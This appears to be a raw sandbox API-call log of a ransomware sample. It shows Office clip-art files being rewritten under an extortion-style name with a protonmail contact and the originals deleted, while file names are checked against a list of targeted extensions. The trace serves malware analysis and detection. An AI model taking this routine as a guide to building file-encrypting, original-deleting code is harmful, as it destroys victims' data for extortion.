	[0178.606] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x3dec, lpOverlapped=0x0) returned 1
	[0178.612] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x3df0, lpOverlapped=0x0) returned 1
	[0178.613] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.613] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.613] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.613] CloseHandle (hObject=0x5b4) returned 1
	[0178.613] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.613] SetEndOfFile (hFile=0x580) returned 1
	[0178.616] CloseHandle (hObject=0x580) returned 1
	[0178.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1
	[0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.617] lstrlenW (lpString=".doc") returned 4
	[0178.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.617] lstrlenW (lpString=".docx") returned 5
	[0178.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.617] lstrlenW (lpString=".pdf") returned 4
	[0178.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.617] lstrlenW (lpString=".xls") returned 4
	[0178.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.617] lstrlenW (lpString=".xlsx") returned 5
	[0178.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.617] lstrlenW (lpString=".ppt") returned 4
	[0178.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.617] lstrlenW (lpString=".zip") returned 4
	[0178.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.617] lstrlenW (lpString=".rar") returned 4
	[0178.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.617] lstrlenW (lpString=".bz2") returned 4
	[0178.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.617] lstrlenW (lpString=".7z") returned 3
	[0178.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.617] lstrlenW (lpString=".dbf") returned 4
	[0178.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.618] lstrlenW (lpString=".1cd") returned 4
	[0178.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.618] lstrlenW (lpString=".jpg") returned 4
	[0178.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.618] lstrlenW (lpString=".doc") returned 4
	[0178.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString=".docx") returned 5
	[0178.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.618] lstrlenW (lpString=".pdf") returned 4
	[0178.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString=".xls") returned 4
	[0178.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.618] lstrlenW (lpString=".xlsx") returned 5
	[0178.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.618] lstrlenW (lpString=".ppt") returned 4
	[0178.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.618] lstrlenW (lpString=".zip") returned 4
	[0178.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.618] lstrlenW (lpString=".rar") returned 4
	[0178.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString=".bz2") returned 4
	[0178.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString=".7z") returned 3
	[0178.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.619] lstrlenW (lpString=".dbf") returned 4
	[0178.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.619] lstrlenW (lpString=".1cd") returned 4
	[0178.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0178.619] lstrlenW (lpString=".jpg") returned 4
	[0178.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.619] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.619] lstrlenW (lpString="HM00426_.WMF") returned 12
	[0178.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.620] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=68776) returned 1
	[0178.620] CloseHandle (hObject=0x580) returned 1
	[0178.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220
	[0178.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.621] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.621] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.622] GetLastError () returned 0x0
	[0178.622] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x10ca8, lpOverlapped=0x0) returned 1
	[0178.626] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x10cb0, lpOverlapped=0x0) returned 1
	[0178.628] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.628] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.628] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.628] CloseHandle (hObject=0x5b4) returned 1
	[0178.628] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.628] SetEndOfFile (hFile=0x580) returned 1
	[0178.632] CloseHandle (hObject=0x580) returned 1
	[0178.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1
	[0178.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.633] lstrlenW (lpString=".doc") returned 4
	[0178.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.633] lstrlenW (lpString=".docx") returned 5
	[0178.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.633] lstrlenW (lpString=".pdf") returned 4
	[0178.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.633] lstrlenW (lpString=".xls") returned 4
	[0178.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.633] lstrlenW (lpString=".xlsx") returned 5
	[0178.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.634] lstrlenW (lpString=".ppt") returned 4
	[0178.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.634] lstrlenW (lpString=".zip") returned 4
	[0178.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.634] lstrlenW (lpString=".rar") returned 4
	[0178.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.634] lstrlenW (lpString=".bz2") returned 4
	[0178.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.634] lstrlenW (lpString=".7z") returned 3
	[0178.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.634] lstrlenW (lpString=".dbf") returned 4
	[0178.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.634] lstrlenW (lpString=".1cd") returned 4
	[0178.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.635] lstrlenW (lpString=".jpg") returned 4
	[0178.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.635] lstrlenW (lpString=".doc") returned 4
	[0178.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString=".docx") returned 5
	[0178.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.635] lstrlenW (lpString=".pdf") returned 4
	[0178.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString=".xls") returned 4
	[0178.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.635] lstrlenW (lpString=".xlsx") returned 5
	[0178.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.635] lstrlenW (lpString=".ppt") returned 4
	[0178.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.635] lstrlenW (lpString=".zip") returned 4
	[0178.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.635] lstrlenW (lpString=".rar") returned 4
	[0178.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString=".bz2") returned 4
	[0178.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString=".7z") returned 3
	[0178.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.635] lstrlenW (lpString=".dbf") returned 4
	[0178.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.635] lstrlenW (lpString=".1cd") returned 4
	[0178.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0178.636] lstrlenW (lpString=".jpg") returned 4
	[0178.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.636] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.636] lstrlenW (lpString="IN00046_.WMF") returned 12
	[0178.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.637] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1158) returned 1
	[0178.637] CloseHandle (hObject=0x580) returned 1
	[0178.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220
	[0178.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.638] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.638] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.638] GetLastError () returned 0x0
	[0178.638] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x486, lpOverlapped=0x0) returned 1
	[0178.640] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x490, lpOverlapped=0x0) returned 1
	[0178.641] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.641] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.641] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.641] CloseHandle (hObject=0x5b4) returned 1
	[0178.641] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.641] SetEndOfFile (hFile=0x580) returned 1
	[0178.644] CloseHandle (hObject=0x580) returned 1
	[0178.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1
	[0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.645] lstrlenW (lpString=".doc") returned 4
	[0178.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.645] lstrlenW (lpString=".docx") returned 5
	[0178.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.645] lstrlenW (lpString=".pdf") returned 4
	[0178.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.645] lstrlenW (lpString=".xls") returned 4
	[0178.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.645] lstrlenW (lpString=".xlsx") returned 5
	[0178.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.645] lstrlenW (lpString=".ppt") returned 4
	[0178.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.645] lstrlenW (lpString=".zip") returned 4
	[0178.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.645] lstrlenW (lpString=".rar") returned 4
	[0178.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.645] lstrlenW (lpString=".bz2") returned 4
	[0178.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString=".7z") returned 3
	[0178.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.646] lstrlenW (lpString=".dbf") returned 4
	[0178.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.646] lstrlenW (lpString=".1cd") returned 4
	[0178.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.646] lstrlenW (lpString=".jpg") returned 4
	[0178.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.646] lstrlenW (lpString=".doc") returned 4
	[0178.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString=".docx") returned 5
	[0178.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.646] lstrlenW (lpString=".pdf") returned 4
	[0178.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString=".xls") returned 4
	[0178.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.646] lstrlenW (lpString=".xlsx") returned 5
	[0178.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.646] lstrlenW (lpString=".ppt") returned 4
	[0178.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.646] lstrlenW (lpString=".zip") returned 4
	[0178.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.646] lstrlenW (lpString=".rar") returned 4
	[0178.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.646] lstrlenW (lpString=".bz2") returned 4
	[0178.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.647] lstrlenW (lpString=".7z") returned 3
	[0178.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.647] lstrlenW (lpString=".dbf") returned 4
	[0178.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.647] lstrlenW (lpString=".1cd") returned 4
	[0178.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0178.647] lstrlenW (lpString=".jpg") returned 4
	[0178.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.647] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.647] lstrlenW (lpString="IN00118_.WMF") returned 12
	[0178.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.648] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=792) returned 1
	[0178.648] CloseHandle (hObject=0x580) returned 1
	[0178.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220
	[0178.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.648] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.648] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.649] GetLastError () returned 0x0
